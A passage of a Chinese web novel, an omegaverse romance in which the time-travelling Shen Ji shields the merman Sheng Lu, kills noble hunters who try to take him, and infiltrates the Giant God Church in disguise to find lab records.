睁开眼，把脖子上勒紧的两只手按下去，睡着的人鱼又把头按在他胸前，长长的头发盘绕在他手臂上，双手缠住他的腰。 尾巴滑腻腻地放在他腿上，整条鱼几乎把大半重量都压在他身上。 最要命的是，圣路总是无意识泄露出他omega的信息素。 两个人才交换信息素，omega不仅对Enigma有依赖性，而且或多或少会散发出甜蜜信息素。 沈继把这条甜腻腻的人鱼拉开，往旁边挪了挪。 人鱼就跟着他挪。 第二天睡醒，圣路还盯着他脖子上的勒印一脸无辜。 沈继用一双睡眠不足的熊猫眼撇了他一眼：“别装了。” “……” “昨天晚上我都听到你喘了。” 圣路侧过脸，露出一个意味深长的笑容。 第25章 第二十五章 太浪费了。 为了避免上次的事情发生, 这几天下午，沈继都带他到山洞前面的水潭里游一圈。 那片水潭藏在树荫下，看一眼都觉得十分幽冷, 但好在水质十分清澈。 沈继坐在树下，看着人鱼一头银白长发在水里飘动，溅起水光潋滟。 微风吹拂着头脑, 久而久之他眼皮沉重，渐渐要睡着了。 这几天晚上睡觉，他被圣路缠得睡眠质量直线下降。 昏昏欲睡中，听见一道焦急的声音：“沈继，沈继……帮我……” 沈继睁开眼, 见圣路的长发被水底一片怪枝缠结着，他游不上来，又没办法转身去解开头发，只能仰起头喊他。 他走上前, 淌入水中，冰冷的水呲呲地冻着他小腿，他走到那片奇怪的野生水植物旁。 发现那片东西紧紧吸附在他发间, 枯枝般的形状，如同水蛭一般, 贴在他肩膀上，紧紧吸着他的血。 “这是什么东西？”沈继皱眉。 “我不知道，它会动。” “只能把头发切掉了。”沈继从指间抽出一段精神丝线。 “一定要吗？”人鱼的头发是美貌的象征, 这对他们来说不能接受。这点在歌雅人中, 也比较明显。 “头发没了可以长。”沈继没停手，精神丝线拢绕过他的头发。 “变成短头发，你肯定不爱我了。” “怎么会呢？” “不会吗？”圣路动不了, 眼神艰难地看向身后的Enigma。 “当然不会，本来就没爱你。” “……” 就这么一动，沈继已经用精神丝线将那片“枯枝”连同他的头发切断了，一些碎发飘散在水中。 头发上的东西是切掉了，然而剩下的植物还紧紧吸附在人鱼肩膀和后颈的肌肤中。 沈继皱眉，这种东西断了身子，另一截竟然还活着，并且有更加活跃的迹象，像是在报复般疯狂地吸吮着宿体的血。 沈继用精神丝线透过皮肤，穿过他体内其中一截“枯枝”，将那东西挑出来，抽出的瞬间，那东西的一端还溅起圣路片片血花以及肌肤组织。 真狠啊，几乎就是同归于尽的方式。 圣路疼的紧紧抓住他的手，冷汗都流出来了，颤抖道：“沈继，好疼。” 沈继明白了。 这种植物常年潜伏在水中伺机而动，一旦有动物或人类靠近，就紧紧缠住，就算被截断身子，钻进人身体的部位也会存活，寄生在宿主身体内，直到完全掌控新身体。 而抽离它们的代价就是疼痛，这巨大疼痛已经超出人类能忍耐的范畴，迫使宿主必须接受它们，大大增加了寄生可能。 他见识过圣路的忍耐力，连被精神力茧壳刺破双手都能面不改色，居然也败在这小小的寄生植物上。 可见这东西带来的疼痛有多恐怖。 “不全部抽出来，你马上会变成枯尸。”沈继抱住他，靠近心脏部位的两条寄生植物也被精神丝线抽了出来。 “啊！”圣路开始剧烈挣扎起来，他的脸色已经完全发青：“放开我，沈继！好疼……好疼！” 沈继按住他，人鱼的尾巴在纠缠中扑腾起疯狂的水花，潭边的岩石擦破了他的皮肤，流出点点鲜血。 “求你了……沈继，放开我……我不弄了！”圣路的眼神被恐惧笼罩，他尖叫了起来。 人鱼的力气太大了，沈继勉强用一手按紧他挣扎的身躯，另一只手控制精神丝线，干脆一鼓作气。 十几条精神丝线穿过人鱼的肌肤，以极其刁钻的角度，将残留在他身体的寄生植物全部抽离出来。 随着血花绽放，圣路不再挣扎，他的身体完全瘫软在他怀里。 沈继把人抱上岸，这时候，圣路已经晕倒了。 他点燃昨夜剩下的那丛篝火，把衣服脱下来烤干。 这时候圣路的头发已经慢慢长出来，身上的细小伤口也已经愈合。 沈继看着脸色苍白的人鱼，虽然有逆天的自愈力，但是其实也是很怕疼的吧。 现在的圣路虽然有些病态，但会喊疼，会挣扎，会害怕，完全不是十年后那个冷酷无情的大恶魔。 究竟你又经历了什么，变成了十年后的你。 沈继觉得自己没理由想这些。 圣路睡了一整天，沈继也终于睡了个好觉，可以说因祸得福。 醒来之后，圣路就开始有点不对劲了，之前一直爱粘着他的人鱼，现在竟然变得正经起来了。 他不缠着他，也不故意挑逗他，也不爱说骚话了。 沈继怀疑自己没给他驱虫驱干净，可能被寄生植物寄生了。 他把圣路按进怀里，在他肩膀和后背找了又找，摸了又摸，皮肤光滑细腻，骨骼肌肉正常，没有找到一个不正常的地方。 “不……不要，沈继……”人鱼被他摸到整个人都红了，从脸红到脖子那种。 沈继完全愣怔在当场，这人设完全不对。 圣路会脸红，但那种脸红是变态发情后的脸红，而不是现在这种完全正常的害羞的脸红。 “你在害羞？”沈继神情凝重了。 放在以前，这问句询问的对象绝不该是圣路这样的变态。 然而圣路没有回答，他没有回答！他反而低下了头。 事情严重了。 他肯定是被寄生了，上半身没有，估计是藏在人鱼尾巴上，而他当时没有仔细看。 沈继开始往他尾巴上摸去，温暖的手在那排列密集而细腻的鳞片上焦急寻找什么，他细细观察着，有时候把那些像铠甲一样厚重的鳞片掀开，找寻可能被寄生的地方。 圣路在他看不见的地方，默默露出笑意，暗自揪紧了年轻人的衣服，他闭上眼睛，谨慎而绵长地呼吸着，完全沉浸在这场漫长又温柔的细致对待中，灵魂摇摇晃晃的享受着。 他隐忍而贪婪，真正到了这种沉沦的极致快乐时，他反而不敢发出一丝可疑的声响，怕惊扰完全不知情的始作俑者，怕一露馅，就把这年轻的Enigma惹恼了。 虽然一百多岁还没有做过爱，但在某些方面，他还是十分老奸巨猾。 沈继十分专心，他终于摸到一块可疑的地方，那里的鳞片过于柔软又柔韧，仿佛是天生被植物寄生的地方，他将鳞片轻轻地掀开，感觉到鳞片深处略微湿润，和其他鳞片的内层完全不一样。 沈继心想，如果有血，这地方大概就被寄生了。 可他的手指轻轻一探寻，圣路猛然的颤抖起来。 其他的地方冰冷，只有这里温暖得不像话。 这个细节终于让沈继反应过来，然而这时候事情已发展到一个完全不对劲的状态。 他看见人鱼在他怀里颤抖，双手紧紧抓着他肩膀，眼神迷离，唇齿艳红，尾巴轻轻摆动着，蹭着他的手臂。 沈继腾地站起来，整条鱼就这样掉在蒲草上。 圣路抽了抽额角：“你好歹给个缓冲时间。” 到了晚上，沈继还是一言不发，篝火隐隐闪动着他面无表情的脸。 圣路坐在对面，举起双手：“宝贝，吃亏的是我啊，我躺在你怀里可是一个手指没动哦。” 沈继一双黑漆漆的眼睛隔着火光盯着他，没有情绪。 在这双眼睛下，圣路被他盯得背脊发凉：“好可怕……” “可是……又好爽啊……”病态的笑容随即扬起。 “……晚上你自己睡。”沈继垂下眼眸。 “哦？我自己睡？”圣路勾起了一个让人十分不爽的笑：“小朋友，是怕晚上控制不住日我吗？” 沈继抬起眼眸：“刚刚我在脑海里确实日了你一次。” 圣路笑容凝固。 “什……什么？”他这零帧起手甚至把圣路这个正宗变态也给整不自信了。 “我想着你撸了一把。”沈继直白道。 刚刚被圣路这个变态套路后，他跑出去，给自己解决了一次。 呵呵，被一条人鱼勾引了，还自己给自己泄了一次火。 因为身体内有一只大恶魔要供养，精力和时间有限，沈继没有多少性·冲动和幻想，就算是躁动的少年时期，和其他同年人相比，他也基本上很少有这方面的烦恼。 这次会给圣路套路成功，多少也有这个原因，再加上他当时完全是单纯的关心。 在意识到被套路后，他也有过一丝恼怒，但随后这一丝怒意被冲动的欲望击垮。 圣路僵住当场，在短暂的错愕后，一双石榴红的眼睛逐渐泛起盈动的兴奋的高光，仿佛在说：那就该给我来场真枪实弹的。 沈继几乎看穿了他此刻的想法，在他开口前截住了话头：“不来，没兴趣了。” 圣路怔了一下，露出遗憾又可惜的神色：“啊～那你刚刚太浪费了。” 沈继两秒后才反应过来浪费的意思。 他捂住了脑袋，在正宗变态面前，失去一切力气和手段。 第26章 第二十六章 会出人命。 当天晚上, 沈继在山洞外燃着火堆准备席地而睡。 人鱼那双红色眼睛就在山洞檐口下看着他。 沈继在野外是开着精神感知的，有时候专心致志地探知中，猛的撞上一双泛着泪光变态的眼, 能把人吓得一激灵。 为了避免陷入他那些诡计多端的变态play中，沈继不会跟他搭话了。 “沈继，一个人睡, 我怕。”圣路忍不住先开口。 他那副楚楚可怜的样子看着挺像一回事，如果能忽略他那扬起的嘴角。 沈继闭着眼睛就是不应他。 圣路目光深邃看着他的腺体，自从在实验室闻到过一次沈继的信息素，他就被那股气息疯狂吸引。 从Enigma狂热的脉搏中涌出的气息，仿佛雪地里奔跑的麋鹿扬起的清雪, 像凶猛的激流涌动后出现的彩虹，那种等级的信息素只需要一点点就能浸透他全部细胞，让他浑身酥麻。 一想到这里，圣路就忍不住喘了一声。 “闭上你那双吃人的眼睛。”沈继闭着眼睛, 再不开口，他要被这条鱼视·奸完然后剥皮吃净了。 “人鱼的眼睛不可以吃人，嘴巴可以。”见他终于说话, 圣路笑着张开自己的嘴。 沈继撇过头去，不该给这变态脸色了, 他稍微一理他，圣路马上就能发展成单方面性·爱。 圣路撑着双手慢慢挪动靠近他，倚在他身边, 沉重的尾巴在地上沾染了一些枯草。 他靠在这个年轻的人类身上, 望着天空，陡然想起在幼年时在大海遨游时，那种自由的, 平静的，温柔的感觉。 “沈继，你们人类说的幸福就是这种感觉吧。”他轻声道。 他忽如其来的正经和感慨让沈继睁开了眼，不过鉴于他在自己这儿信誉值已经刷负了，沈继没有回答他。 一片寂静，两个人倒是先后睡着了。 星辰布满头顶，天边巨大的天体在森林上方缓缓移动，温暖的火势渐渐弱下去。 睡梦中又听见一声轻微的响动，圣路紧紧抓着他的手：“有东西来了。” 沈继睁开眼。 几只野兽的眼睛在红色迷雾后面盯着他们。 两条狂猛的身影从森林中冲出来袭击了他们。 由于距离很近，沈继没来得及辨认，只能用精神丝线绞死了野兽。 那两只野兽的尸体瞬间从半空砸到地上，四分五裂，鲜血满地流淌。 这时候，沈继才看清，那不像是什么野兽，这些家伙毛发光亮，脖子上还套着铭牌。反倒像是歌雅人类饲养的某种大型兽。 大概类似星际人类饲养的大型宠物犬。 是巨神教追捕他们的导猎犬吗？ 前几天那几艘大型舰离开后，森林已经恢复了平静，难道他们去而复返吗？ 就在这时，几声口哨声从林中传来，紧接着几辆单人飞行穿梭机出现在森林中。 这种穿梭机十分轻巧，可用于林间行动，光晶体燃料就要消耗巨大，价格不菲，沈继来歌雅几次，也很少见过这种穿梭机。 几艘穿梭机在犬兽的尸体上盘旋了一圈，随后落在地上，从上面跳下几个装备齐全光鲜的年轻人，手上还带着猎枪。 看来不是巨神教的人，只是几个带着犬兽来这里打猎的富家公子哥。 那么沈继就不用太担心了。 看见自己的两只犬兽东一块西一块地躺在地上，几个人都是不可置信地一怔。 “该死的，哪个混账杀死了我的波克羊犬？” “啊！还有我的冰狼猞猁！” “碧奥兰子爵，是那家伙。”另一个男人转头看见了山洞前的火堆，以及火堆后隐约的两个身影，连忙献殷勤道。 被称为碧奥兰子爵的男人，冷道：“走。” 几个人提起猎枪缓缓靠近火堆。 随着火光的照耀，一条漂亮的人鱼尾巴立即映入众人眼帘。 几声惊艳的叹息不约而同地响起。 “那是人鱼……” “真的是人鱼。” “人鱼不是早灭绝了吗？” 森林中出现的人鱼，英俊的脸庞，美丽的长发，如梦如幻的银蓝尾巴。这冲击力让所有人都怔了一瞬。 碧奥兰子爵率先反应过来，看向沈继：“是你们杀了我的波克羊犬？” 只见那个黑发黑眸的男人坐在火堆前，自始至终没有动作，直到这时才抬眸道：“是它们先袭击我们。” “它们袭击你们，你们可以躲，但不能杀死它们。你知道一只成年波克羊犬值多少钱吗？” 听见这话，沈继突然笑了。 “你笑什么？” “我笑，这句话很有道理。” 几个人对视一眼，红雾森林这种地方人迹罕至，尤其是深夜时分，他们几个也是仗着有出色的装备和猎犬，才敢进入这里打猎。 按理说，对方能杀死两只大型猎犬，本不应该轻视的。 然而他们再看沈继，留着一头短发，手无寸铁，住在山洞，只认为他是个有些精神力的山中猎人。 而他们手里几把猎枪，完全不必怕他。 “你不知道人鱼是珍稀动物，受法律保护吗？”碧奥兰身边的金发男人严肃道。 沈继懒得搭理他们，他知道他们想干什么。 “私自囚禁人鱼，至少要判十年。”碧奥兰子爵看着沈继，正义凛然，义愤填膺。 而此时，圣路那双深邃神秘的眼睛也正不知所措地看着他们，碧奥兰更是心中狂跳。 其实这个时候，那两只犬兽已经不重要了，现在人鱼才是最大的关键。 他真的是踩了狗屎运，居然在森林里遇到了人鱼，而且这条人鱼绝对是珍品中的珍品，看那条华丽的尾巴，信息素至少不输于S级。 身为子爵的他，曾经也十分不理解人鱼的魅力，看那些为了人鱼腺体而在拍卖会挣破脑袋的贵族们，更让他感到不屑，而如今眼前的这条人鱼却极大地引起了他的兴趣。 那金发男人作为忠实的狗腿子，怎么能不明白子爵的心意，看向人鱼道：“请您不必害怕，我们子爵马上就能救您回去。” 圣路低下头，惊慌失措地躲在沈继后面，只敢用怯生生的眼神觑他们：“不必救我了，会出人命的。” “您太善良了。” 那眼神像毒药一样，让人产生不可救药的幻想，在几位公子哥眼里，是如此无辜，立刻激起几个alpha的占有欲和保护欲。 碧奥兰甚至改变主意了，他决定在玩过之后，给这条人鱼一个稍微正当的名分，避免他被巨神教抓去。 好吧，就凭这点，也该这条人鱼感恩戴德地侍候自己了。 光是看着人鱼那张白皙英俊的脸庞，以及那光·裸的上半身和柔亮的尾巴，碧奥兰的□□就感到十分劲爽了，他的信息素甚至有点儿泄露了。 见沈继不为所动，碧奥兰已失去耐心，他皱起眉，一把猎枪隔着火堆对准了沈继：“好了，不想我们把你送上法庭，就把人鱼交出来吧。” “不，别管我了……你们惹到他，他会杀了你们的。”圣路颤抖着看向他们，言语中火上浇油。 “您说的是他会杀了我们？”碧奥兰子爵得意地掂了掂自己手里的猎枪。 “是啊，你们一定……会死的很惨的。”圣路侧过脸去，肩膀颤了一下，强忍着没有笑出声。 那几人只以为他被吓坏了。 他们已经胜券在握，根本看不到人鱼那含着冷笑的阴沉眼神。 沈继终于开口道：“还有其他人吗？” “什么意思？” “我说，森林里还有其他人吗？” “有没有那重要吗？反正只需要一颗子弹就能让你归西了。”金发男人冷笑道。 “那就是没有其他人了。” 这样也省的节外生枝了。 碧奥兰忽然看向圣路，变得彬彬有礼：“请你离远点，免得等会开枪误伤了你。” 他说话之时，圣路闻到他那隐隐约约的交合信息素，只感到一阵恶心。 他倚着沈继看着那位碧奥兰子爵，眼神微笑真挚极了：“算了吧，您完全没必要为此献出性命啊……” 碧奥兰被他的举动惹恼了，他觉得自己完全被人鱼轻视了。 他对准沈继猛然扣动扳机，却突然冷汗直冒，不知什么时候有东西卡住了扳机，无论他手上如何用力，始终没有传来清脆有力的机括声。 沈继站起身道：“是不是瞄不准？不如我走近一点。” 碧奥兰顿时明白了这家伙的不同寻常，他想要退后，但被一股无形的力量挡住了后路，动弹不得，他惊恐地看着沈继。 金发男人连忙端起猎枪向沈继开枪，但还没来得及对准他，就被一根精神丝线径直穿过天灵盖，一声不响噗通在地，没了气息。 其余两个跟班还想跑，只跑出十几步，被两条精神丝线穿透了胸膛，死在树荫下。 碧奥兰在火光中，隐约看见了周身束缚住自己身躯的一根根丝线，他后知后觉地反应过来。 “等等！你……你是谁！？“ 在歌雅中，能运用精神丝线的人少之又少，更别说是这样规模的精神力，传说中就只有沈家的人能做到。 沈继道：“杀你一定要报上名字吗？” 碧奥兰子爵瞳孔一动，看向沈继身后，只见圣路坐在火堆旁，目光含笑，嘴角勾起病态的弧度：“所以，我提醒过你，会出人命的。” 他又看向沈继，哀求道：“不！求您！！我是D国的子爵……也许我的身份对于沈家来说不值一提，但是我有钱！我有钱可以给您！别杀我！求您！” 沈继道：“我杀你，你可以躲吧。” 碧奥兰瞳孔一张，明白了沈继之前为什么笑。 想通这点的时候，他已经苦笑着结束了生命。 第27章 第二十七章 算殉情吗？ 沈继杀那几个跟班, 是为了避免人鱼的消息传递出去。 但是碧奥兰一死，同样不可避免会引来警方的追踪和王室的注意。 沈继在碧奥兰子爵的那艘穿梭机里找到了一份巨神教教会的入会证书，和入会晶卡。 从那金发跟班的穿梭机里也找到了一片晶卡。 碧奥兰子爵和他的跟班都是巨神教教徒, 沈继还在后面的储物箱里找到了两套教会的会服。 沈继特意避开碧奥兰的机舰，挑了一艘不显眼的穿梭机，把人鱼抱进机舱内, 将他的尾巴顺好。 这种单人穿梭机，只有一个宽点的座位，坐两个人有点拥挤，而且圣路那条尾巴尤其占据空间。 两个人紧紧挨着，圣路压低脑袋搁在他胸口, 沈继是军校生，骨骼生长正是一生中最蓬勃向上，干净利落的时候，尤其外表一层薄肌均匀合理, 结实可爱。 他的手指展开，隔着衣服紧紧碰了碰他的胸膛。 “哇……” 他对沈继，是一种生理性热爱, 外加灵魂的深度吸引。 好舒服，他发出了深切的喟叹。 “我一定是第一个摸这里的。” 沈继不以为然：“因为我只遇到你这一个变态。” 圣路眼中涌现高光。 明明是那种对全世界不屑一顾的冷淡性格, 却不知为什么对自己一忍再忍，甚至纵容自己这个变态，这好像完全不合常理, 但又让人觉得好爽。 好爽……好爽……太爽了吧。 “我们去哪儿？“ “去找一下有没有关于你恢复人腿的资料。” 沈继测算过时间, 再过几天，大概导师就要通过穿越机器强制让他们回去了。 等到自己离开后，像今天的事情一定还会再发生。 只有自愈力没有自保力的人鱼, 将成为悲剧。他要想办法让圣路变回人腿。 沈继看过实验档案，圣路拥有返祖血脉，是能够自由切换尾巴和人腿的，只是不知道被实验注射·了什么药，阻碍了这种能力。 二叔说过，地底实验城是巨神教教皇暗中掌控。 虽然现在实验城的资料已经被毁了，但教皇那里或许还有备份。 “药效会自己过去的。”圣路道。 “我没时间等了。”沈继按下操控台的按钮，穿梭机腾空而起，飞出了幽暗的森林。 正好手里有两张教会的晶卡通行证。 没时间等了…… 圣路看着沈继，突然道：“那这么做的原因是什么？” “什么？” 圣路双手抓紧他的领子，寒风中他的双眸紧紧盯着他：“为什么要对我的事情那么上心？” 他手劲太大，沈继身子都被他抓倾斜了。 “非得在这种时候抓我领子吗？” 圣路凑近他，眼神很危险：“因为这个答案很重要。” 沈继斜着身子操控机台，瞥他一眼：“死疯子，想死别带我。” “死疯子”三个字，被他咬紧了声线，后槽牙绷紧着脸侧的弧度，配合他那略带冷斥的眼神，在风中也坚定极了。 这个称呼，这种语气，这个眼神完全与沈继淡漠的人生观不匹配。 圣路觉得这很暧昧，他感到一阵强烈的心悸，心脏噗通狂跳，被他这个称呼戳中兴奋点，他竟然脸红了。 他发出一声轻轻的笑意，不明显但沈继能听得到。 “……”沈继抬肘掣开他的手，好转动方向仪。 圣路被他一推，在这狭小的空间里碰撞，就更加适合发出那种暧昧的声音：“等等，轻……轻点……” “喘大声点，需要给你人工呼吸吗？”他随口道。 沈继见识过十年后完全变态版本的圣路，对现在这位半完全体的变态已经接近免疫，这位人鱼的兴奋点低到堪称奇迹。 虽然有时候沈继也分不清他是表演的还是真实的。 圣路脸上的红晕没有消退，但他的气息渐渐平静下来，变成冷笑： “所以，何必要对一个疯子那么好？” “爸爸从小教我，要保护濒危物种。” 圣路垂下眼睑，看着旁边Enigma的侧脸，从那一丝眼底眸光中，显出充满占有欲的病态：“如果死在一起，就是你们人类说的殉情了吧。” “不，他们只会说我们杀人劫机，分赃不均，死得其所。” 圣路一怔，他低下头，银白长发被风吹得狂乱，沈继听见呼呼的风声中传出他那病态的笑声。 沈继啧了一下，人怎么能变态到这种地步。 ———— 为了避免被定位，沈继把穿梭机停在郊外森林中。 从后面储物箱拿出那两套教会的会服。 这是一种黑白红三色的长衫，从头顶的宽大帽子一直遮挡到脚底。 全身上下几乎只有一双眼睛可以露在外面。 这反而给了沈继和圣路进入教堂的方便。 之后他到附近的商店购买了一副轮椅。 圣路穿上宽大的会服，坐在轮椅上，完美伪造成一个腿脚不便的信徒。 今天正好是一月一次的新教徒入会仪式，教皇会出席这场仪式。 那座有着蟒蛇通道的教堂，在这时还没有凿刻出罪恶之墙。 最后，凭着入会的晶卡，沈继推着圣路进入了巨神教教堂。 大堂内部，十七个魔鬼的壁像栩栩如生，魔鬼的四肢和躯干被钉子砸进墙壁中。 沈继抬起头，看见巨神悲悯的目光落在整座大堂中。 一个个裹得严严实实的教徒从他们身旁经过，手里拿着教书，念念有词。 圣路的身体忽然紧绷，紧紧地盯着某处。 沈继顺着他的目光，看见最左端的壁画：人鱼被恶魔附身，长出尖耳朵和血红的眼睛，而巨神之剑插在人鱼心脏上，流出黑色血液。 在巨神教的教义中，人鱼是不详之兆，是被神唾弃的物种，是恶魔的傀儡。 最惊悚的是，在这高大的天花板之上，巨神手中的利剑穿透两条人鱼的尾巴，只为了让信徒见证神迹。 而那可是真的人鱼，是活生生被杀死的人鱼。 巨神教的势力渗透了整个D国政界，连猎杀人鱼都已经这么明目张胆。 沈继推着他穿过大堂时，圣路的眼睛还在盯着天花板那两条人鱼的尾巴。 看这情况，沈继更确定了教皇手里一定有关于实验室的资料。 他推着圣路走到一条隐蔽的走廊上，沿着一间间散发着红光的房间寻找蛛丝马迹。 可惜这里到处放置了精神力感知仪，一旦有人发出精神力，就会立刻被发现。 一群儿童从两人身旁走过，他们罩着会袍，看起来只有七八岁，但步伐相当安静，低着头行走如同木偶一样。 圣路注意到其中一个男孩的耳朵，他眸中一紧，猛然抓住了沈继的手：“那是人鱼……” 沈继听言，拦住了其中一个男孩，只见那男孩皮肤细腻，尖耳朵和蓝色眼睛，看起来是纯种人鱼的长相。 只是双眼像没有灵魂的娃娃一样，定定地看着他们。 圣路抚过那男孩的脸，他不会认错，这是他的同族…… 这几十年，他第一次见到自己活着的同族。 圣路激动地颤抖着，他伸手想抱紧男孩，但被对方躲开了。 圣路的手停顿在原地：“孩子……” 沈继不得不冰冷地提醒他：“他们有腿。” 像这种人鱼纯种结合下的孩子，是不可能有腿的。 这是实验室改造的结果，幼年人鱼的尾巴已经被实验室切除，冷酷地改造成了人腿，这或许只是为了迎合某些特殊客户的要求，或许是教皇的个人趣味。 而像这样改造出来的人鱼，大概也很快就会死亡。 圣路被这句话击打地脸色惨白，他看到对面孩子长袍下那双穿着鞋的脚，只差没有死在当场。 他双手更加抱紧那个孩子，战栗着的情绪使他血红的瞳孔恍若有泪光，却没有流出一滴眼泪。 沈继觉得，后来的圣路覆灭巨神教，屠杀村庄时，那些手段还是太善良了。 他生长在海里，囚禁在实验室里，浸泡在人类的恶意中，但终究复仇的时候，也比不上人类肮脏的手段。 那孩子挣开他的怀抱，想离开：“我……我要去教会了……” 圣路喊他：“你叫什么名字？” 他的双腿不自然地转过来，看着他们道：“我叫索兰。” “你爸爸妈妈呢？” “爸爸妈妈不见了。”他转回身去，突然喃喃自语：“妈妈说我像啄木鸟一样……” 沈继在通缉令上看过索兰这个名字，啄木鸟是他的外号，他是后来沙星组织的成员。 这之后，圣路坐在轮椅上安静地可怕，气息沉没到几乎要消失了，沈继差点以为自己推的是一具尸体。 “你在这等我，我去找资料。” “算了吧……” “什么？” “沈继……我是不是应该也死掉呢……” 沈继不敢置信，之前在实验室里，圣路是有求生欲的，他为了保护自己的腺体，想尽办法得到Enigma信息素。 一个连腺体都不想放弃的人鱼，他怎么会没有求生欲呢。 “不是说要去找其他存活的人鱼吗？” “没有了……我想没有了……” 沈继看见圣路的双肩颤抖着，像冷到发抖一样，风中带来呜咽的声音。 人鱼的眼泪噼噼啪啪地掉在黑白色的会袍上。 “那就至少报了仇再死吧。” 圣路抬起头看着他，眼睛带着泪水。 沈继站在那里，在一片阴影屹立的地方，他那双黑白分明的眼睛泛着光芒，像广袤的海浪一阵一阵的涌来，在那里，圣路找到了久违的栖身之所。 沈继抬起手，想给人鱼一个安稳的拥抱。 “那死之前，你会跟我做吗？”人鱼真诚地发问。 “……”沈继默默收回了手。 第28章 第二十八章 疼啊沈继。 走过一条拐弯的走廊后面, 沈继听到了一道愤怒的声音。 “没用啊你们！到现在还抓不到那条人鱼……问我做什么？问你们啊！他现在没有办法变成人腿……肯定跑不脱的！找不到就通通去死吧！给我加大力度！尤其是去海边找！！该死的！该死的！！” 圣路向沈继道：“我记得这声音，他是实验室最大的股东。” 看来，这就是那位巨神教的教皇大人了。 不过, 这地方部署严密，沈继观察到门口的精神力控制仪，周围还有两名来回巡逻的教徒, 他们大概是有精神力手枪。 那扇门也是用各种密码控制的，想要进去，光靠精神力是不行的， 沈继的手刚要伸向控制仪。 “你们在这里做什么？”一道身影出现在走廊端，像幽灵一样的眼睛看着他们。 沈继见对方穿着纯红色教袍, 那是教堂的讲师，比普通教徒更高一级。 “这里是教皇大人休息的地方，未经邀请，请不要走进这里, 还有，入会仪式开始了，请要入会的信徒前往大堂。”他走近他们。 当他看见圣路坐着轮椅时, 惊讶道：“这位先生的腿怎么了？” 沈继道：“他的腿是天生的。” 原本还十分严肃的讲师，听闻后流露出善意的笑：“原来是这样, 你们是来找教皇大人治愈腿疾的吧。等你们入会后，我可以向教皇大人恳求，帮助这位先生。” “哦？教皇还有这样的神力吗？”沈继道。 他语气有点随意, 这让对方愣了一下：“当然, 已经有很多人被教皇大人治愈成功，等到入会仪式结束后，我一定会向教皇大人禀明这件事, 助我们的教徒脱离病魔苦海。” 搞得还真像那么回事。 沈继推着圣路走回大堂，此时大堂里已经有几百个教徒。 沈继站在他后面，俯身低头在他耳边道：“教皇也有治愈力吗？” 圣路摇头：“在实验室……的时候，他们……他们会定期抽我的血。” 沈继冷笑，居然是利用人鱼的返祖血脉和治愈力来铸造教皇的神力，来成就巨神教的神迹。 他的笑虽冷，但气息温热，在圣路耳边和脖颈边一烫，圣路一抖。 “正好趁这个机会，等会我们去见见教皇。”沈继双手按在轮椅两侧，抬眸看着前方的那把纯金椅。 圣路望着他近在咫尺的侧脸，看着教袍后露出的那双英挺的眉眼，呼吸急促，磕磕碰碰地说道：“拜托……请……请你不要这样勾……引唔……” 沈继不想听他接下来的话了，直接伸手按住他的嘴。 在大堂下来来回回带动的人影中。 圣路的眸珠一瞬放大了，眼中跳动着一点摇摇晃晃的火焰，他用自己的手心缓缓贴着滑过他的手背，使两只手交叠，像春天的花草以不疾不徐的速度生长，覆盖过一片青瓦，留下一种暧昧的痕迹。 然后他彻底抓住他的手，用自己的脸颊用力刮蹭过他的手心。 “……”沈继看着他的一切动作，如同电影慢放一样。 他有时候怀疑圣路到底是心理缺陷，还是表演欲人格，或者是真的纯变态罢了。 周围的人影窸窸窣窣地跪了下来。 是教皇出来了。 所有人都跪了，坐在轮椅上的圣路显得格外显眼。 但有的教徒直接被抬着送进来的，所以倒也没有引起多大的注意。 沈继看见教皇的身影走上纯金椅，他的体态臃肿肥大，眼神却慈祥，五官也显得柔和白腻。 所谓入会仪式，指新入会的教徒所完成的一系列表明忠心的仪式。 每个人割下手臂上的血流入中间那樽跪着的羊雕像口中。 两位讲师站在羊雕旁边，盯着每一个入会的教徒划过手臂放血。 沈继心想，恐怕圣路的血还没滴下去，他的伤口就浑然愈合了。 这必然会引起教皇的注意。 他看见圣路用匕首划破皮肤时，一直将利刃用力抵在伤口上，防止伤口愈合，直到血滴在羊口中，他才放下袖子。 这一仪式结束后，圣路还在说：“疼啊，沈继……” 沈继拉起他手臂，褪下袖子看，伤口早就愈合了。 他低头，在圣路愈合的手臂上轻轻呼了两下：“呼一下就不疼了。” 小时候摔跤了，爸爸哄他和弟弟，就是用的这招，在梦里，圣路也是这么哄他的，他学的其实是圣路的模样。 圣路呆呆地看着那无痕迹的“伤口”，感觉到沈继吹出的气息在自己的每一个细胞上悄然泯灭。 那呼出的气息轻轻的，却像蝴蝶效应引起的狂风暴雨，穿透了他的血液，一击即中他的心头。 像无数飞鸟铺散开，打破了寂静沉闷的天空，使他臻至一种无可比拟的感动和快乐。 这感觉使他摇摇欲坠，灵魂一颤。 他察觉到自己今天的情绪太过起伏，好像太激动了，继而呼吸困难，双眼一闭，睡了过去。 沈继接住瘫软的人鱼的时候，完全是一脸懵逼。 不会吧？难道自己的口气有毒吗？ “这位先生是不是撑不住了？”之前那位讲师似乎是注意到了他们的情况，连忙走过来。 沈继将计就计，问道：“抱歉，请问什么时候能去见教皇大人。” 那讲师大概确实是个实心眼的人，眼见情况特殊，道：“抱着他跟我来，我去求见教皇大人。” 沈继打横抱起圣路，用教袍帮他把尾巴盖好。 他们穿过走廊，到了教皇大人的房间前，讲师跪坐在门外：“教皇大人，有一位教徒情况十分严重，请您帮帮他吧。” 那两名巡逻的教徒还在走廊上。 这个时候，圣路已经悠然睁开眼了，一打开视线，就看见沈继那伟大的下颌线，随即发现自己被他双臂抱着。 沈继垂眸看着他，圣路紧抓住他腰侧，将脸埋进他怀抱，闭上眼猛吸了一大口Enigma温暖的气息。 好棒……真棒……他陶醉得连手指尖都颤抖起来。 “是什么情况？”终于传来一副和善慈祥的声音。 那道精密而厚重的大门终于打开了。 沈继站在门外，看见那位教皇侧躺在一片华丽柔软的锦毯上。 毯子是用羊绒制成，吊灯上点缀着人鱼的鳞片，一对漂亮的人鱼耳鳍摆放在柜上。 看来教皇是个纯种的畸形，对人鱼痴迷到过分可怕的程度了。 他猜测，人鱼的那些资料也放在这间卧室里。 讲师依然跪在地上，道：“这位教徒的腿有些问题，教皇大人，请您看看。” 教皇用眯缝眼审视着他们，圣路的尖耳朵被帽子挡住了，但脸露了出来。 现在沈继猜教皇是个脸盲。 教皇长久地打量着他怀里的人，摆出慈祥和气的模样：“最近我神力有限，需要稍稍休息，过几天来吧。” 果然是个脸盲。 是神力有限，还是人鱼的血快用完了。 圣路没有睁开眼睛，但他的手紧紧抓住了沈继的衣角。 沈继当然没打算离开，他抱着圣路直接走进了房间。 “没关系，先请您看看吧。” 